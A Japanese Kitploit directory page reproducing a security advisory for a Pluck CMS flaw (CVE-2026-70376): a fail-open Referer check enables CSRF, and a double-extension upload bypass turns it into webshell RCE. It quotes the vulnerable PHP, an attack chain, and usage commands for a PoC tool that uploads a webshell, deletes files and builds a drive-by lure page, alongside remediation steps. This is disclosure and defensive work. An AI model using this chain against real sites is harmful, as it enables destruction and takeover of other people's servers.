Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-70376 — Pluck CMS CSRF のアドバイザリと Python PoC: フェイルオープンな Referer チェックと二重拡張子アップロードにより、ウェブシェルの展開とリモートコード実行が可能になります。 | Kitploit
ツール/GitHubGitHub/ilhomjonr/cve-2026-70376
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Pluck CMS CSRF のアドバイザリと Python PoC: フェイルオープンな Referer チェックと二重拡張子アップロードにより、ウェブシェルの展開とリモートコード実行が可能になります。

リポジトリを見る
328日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-70376 — Pluck CMS サイト全体のCSRF → RCE

フェイルオープンのRefererチェック + CSRFトークンなし + 二重拡張子アップロード

管理者のページ訪問1回で、コンテンツの削除、ページの注入、Webシェルの配置が行われる

CVE CVSS 3.1 CWE CWE

Product Status Researcher

概要 · 要約 · 根本原因 · 攻撃チェーン · エクスプロイト · ·

対策
タイムライン

📋 概要

CVE IDCVE-2026-70376
トラッキングIDPT-2026-68036
製品pluck-cms/pluck — Pluck CMS(フラットファイルPHP)
影響を受けるバージョン4.7.x から 4.7.21-dev / 現在の master
脆弱性CWE-352 (CSRF) · CWE-434 (無制限アップロード、増幅要因)
CVSS v3.18.0 — High · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
攻撃ベクトルネットワーク · 権限不要 · 管理者のページ訪問1回 (UI:R)
影響コンテンツ破壊/DoS、保存型コンテンツ注入、Apache/mod_php上でのRCE
導入時期コミット f79f916(2019年12月)— 以降、この脆弱なロジックが存在
研究者Ilhomjon Rustamov (@IlhomjonR)

🔎 要約

Pluckの管理パネルには、コードベースのどこにもリクエストごとのCSRFトークンがありません。 すべての状態変更を伴う管理アクションは単一の関数 requestedByTheSameDomain() によって保護されており、その唯一の防御はRefererホストの比較です。そしてこのチェックはフェイルオープンです。Referer ヘッダーがまったくないリクエストが届くと、関数は true を返し、アクションが許可されます。

攻撃者のページは Referer を送信するかどうかを完全に制御できるため(<meta name="referrer" content="no-referrer">)、ログイン済みの管理者が悪意のあるページを訪問すると、クロスサイトで特権アクションを強制的に実行させられます。 いくつかの破壊的アクションはGETで実行され、Pluckは PHPSESSID に**SameSite 属性を設定していません**(ブラウザは SameSite=Lax を適用するため、トップレベルのGETナビゲーションではCookieが引き続き送信されます)。そのため、デフォルトのブラウザ設定でもクロスサイトで到達可能です。

さらにアップロードフィルターの脆弱性により、同じCSRFで shell.php.jpg という二重拡張子のファイルを仕掛けることができ、Apache/mod_phpホストではCSRFがドライブバイRCEに変わります。


🧬 根本原因

1. フェイルオープンのRefererチェック — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

外部のRefererを持つクロスサイトリクエストは正しく拒否されます(else ブランチ)。これにより誤った安心感が生まれますが、攻撃者は単にRefererを抑制してフェイルオープンのブランチに到達させれば、リクエストは許可されます。このチェックの背後にはトークンレイヤーはありません。

このゲートは admin.php で一度適用され、アクションスイッチ全体で信頼されています:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. セッションCookieに SameSite なし(増幅要因)

Pluckは session_set_cookie_params() を一切呼び出さないため、PHPSESSID は空のデフォルト設定を引き継ぎます → ブラウザは SameSite=Lax を適用するため、トップレベルのGETナビゲーションではCookieが引き続き送信されます。したがって、GETで公開されているアクション(deletefile、deleteimage、deletepage、module_delete、theme_delete、logout)は、1回のページ訪問で偽造可能です。

3. 二重拡張子アップロード — data/inc/images.php(RCE増幅要因)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

どちらのチェックも簡単にバイパスできます:

  • MIMEタイプはクライアントから送られるため($_FILES[...]['type'])、image/jpeg に設定するだけです。
  • ファイル名の末尾4文字のみが検証されるため、shell.php.jpg は .jpg で終わり、チェックを通過します。

ファイルは images/shell.php.jpg として書き込まれます。複数拡張子を処理するApache/mod_phpホストでは、PHPとして実行されます。


⛓️ 攻撃チェーン

認証済み管理者のページ訪問1回 — クリック不要。

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

偽造可能なアクション:

アクションメソッド影響
admin.php?action=deletefile&var1=<f>GET任意のアップロード済みファイルを削除
admin.php?action=deletepage&...GETサイトのページを削除(DoS)
admin.php?action=module_delete&...GETモジュールを削除
admin.php?action=logoutGET管理者をログアウトさせる
admin.php?action=editpagePOST保存型ページコンテンツを注入
admin.php?action=images(アップロード)POSTshell.php.jpg を仕掛ける → RCE

💥 エクスプロイト

動作するPoCツールキットは exploit/ にあります:

  • pluck_csrf_rce.py — フェイルオープンのロジックを実証したり、CSRFでWebシェルをアップロードしてコマンドを実行したり、CSRFでファイルを削除したり、おとりページを生成したりできます。
  • csrf_poc.html — 被害者の管理者に配信されるスタンドアロンのドライブバイページです。
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Pythonのrequestsは意図的に**Referer を送信しません**。これは no-referrer ポリシー下の被害者ブラウザを正確に再現しています。このロジックを裏付けるHTTPレイヤーでの非対称性:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ .php.jpg → RCE のステップには、複数拡張子のファイルをPHPとして実行するApache/mod_phpホストが必要です。この設定がない環境でも、CSRFアップロード自体は成功し、破壊的な delete / deletepage プリミティブには影響しません。CSRFが核心のバグであり、RCEは増幅要因です。


🛠️ 対策

  1. 実際のCSRFトークンを追加 — すべての管理フォームと状態を変更するすべてのリンクにセッションごとのランダムなnonceを埋め込み、サーバー側で定数時間比較を用いて検証します。これが本来の修正です。Refererチェックはその代替にはなりません。
  2. フェイルクローズにする — 多層防御としてオリジン検証を残す場合は、Referer / Origin が存在しないことを信頼できないものとして扱います。Origin ヘッダーを優先し、欠落または不一致の場合は拒否します。
  3. GETで状態を変更しない — deletefile、deletepage、logout などをPOSTに移行し、SameSite=Lax が基本レベルの保護を提供できるようにします。
  4. セッションCookieを強化 — session_set_cookie_params() で SameSite=Strict(または Lax)、HttpOnly、Secure を設定します。
  5. アップロードフィルターを修正 — 最終的に保存されるファイル名を厳密な拡張子の許可リストと照合して検証し、実際の画像コンテンツを確認し、クライアントから提供されるMIMEタイプを決して信頼しないでください。

🕒 タイムライン

日付イベント
2019-12脆弱な requestedByTheSameDomain() ロジックが導入される(f79f916)
2026-07-08ソースコード監査で発見。エンドツーエンドのPoCを検証
2026-08-10アドバイザリを作成(PT-2026-68036)
2026-08-12CVE-2026-70376 が採番。アドバイザリとPoCを公開

📚 参考情報

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: クロスサイトリクエストフォージェリ — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: 危険なタイプのファイルの無制限アップロード — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ 免責事項

本資料は教育および防御目的、および許可を得たセキュリティテストのみを目的として公開されています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。著者は不正使用に対する責任を負いません。

発見・文書化: @IlhomjonR · CVE-2026-70376 · PT-2026-68036

ツールをダウンロード